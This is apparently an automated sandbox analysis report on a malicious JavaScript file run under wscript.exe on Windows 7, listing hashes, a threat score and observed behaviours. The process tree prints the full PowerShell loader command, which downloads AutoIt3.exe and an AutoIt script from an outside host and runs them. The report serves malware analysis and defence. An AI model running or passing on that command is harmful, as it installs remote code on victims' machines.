16613e7c07681726ab577e6ac14114cb42691838fa3c6c4c1bef7dafa2c7c4a0

Analysis

max time kernel
121s
max time network
124s
platform
windows7_x64
resource
win7-20231020-en
resource tags

arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
submitted
09-11-2023 14:12

Target

app(060e45bf7b57d4).js
Size

252KB
MD5

b428fd3b31d80dbdbbe4ee4949cfbe54
SHA1

3f39780bffd9b6b04dba52843622497606808020
SHA256

16613e7c07681726ab577e6ac14114cb42691838fa3c6c4c1bef7dafa2c7c4a0
SHA512

dd77e51e0d6c573d7fe7a3d5ac50b23fe0d81a3323ad89f80a8a3eadd61dc2cff9a6f86ea7632315ec3549e7528053b3634ebc8aec158a3023ca434ea85988c3
SSDEEP

6144:Fe7hgXeerjqlI2Iro+lJe7hgXeerjqlI2Iro+8:FIhgSlI23mJIhgSlI23V

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2164	powershell.exe
2164	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2164	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3060 wrote to memory of 2164	3060	wscript.exe	28
PID 3060 wrote to memory of 2164	3060	wscript.exe	28
PID 3060 wrote to memory of 2164	3060	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\app(060e45bf7b57d4).js
1⤵
- Suspicious use of WriteProcessMemory
PID:3060
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://siliconerumble.com:443' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://siliconerumble.com:443/msitotdjhak' -OutFile 'totdjhak.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'totdjhak.au3'"; Stop-Process -Name "WScript"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2164

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/2164-4-0x000000001B470000-0x000000001B752000-memory.dmp

Filesize
2.9MB

Download
memory/2164-5-0x00000000022D0000-0x00000000022D8000-memory.dmp

Filesize
32KB

Download
memory/2164-6-0x000007FEF4A00000-0x000007FEF539D000-memory.dmp

Filesize
9.6MB

Download
memory/2164-7-0x0000000002830000-0x00000000028B0000-memory.dmp

Filesize
512KB

Download
memory/2164-8-0x0000000002830000-0x00000000028B0000-memory.dmp

Filesize
512KB

Download
memory/2164-9-0x0000000002830000-0x00000000028B0000-memory.dmp

Filesize
512KB

Download
memory/2164-10-0x000007FEF4A00000-0x000007FEF539D000-memory.dmp

Filesize
9.6MB

Download
memory/2164-11-0x000007FEF4A00000-0x000007FEF539D000-memory.dmp

Filesize
9.6MB

Download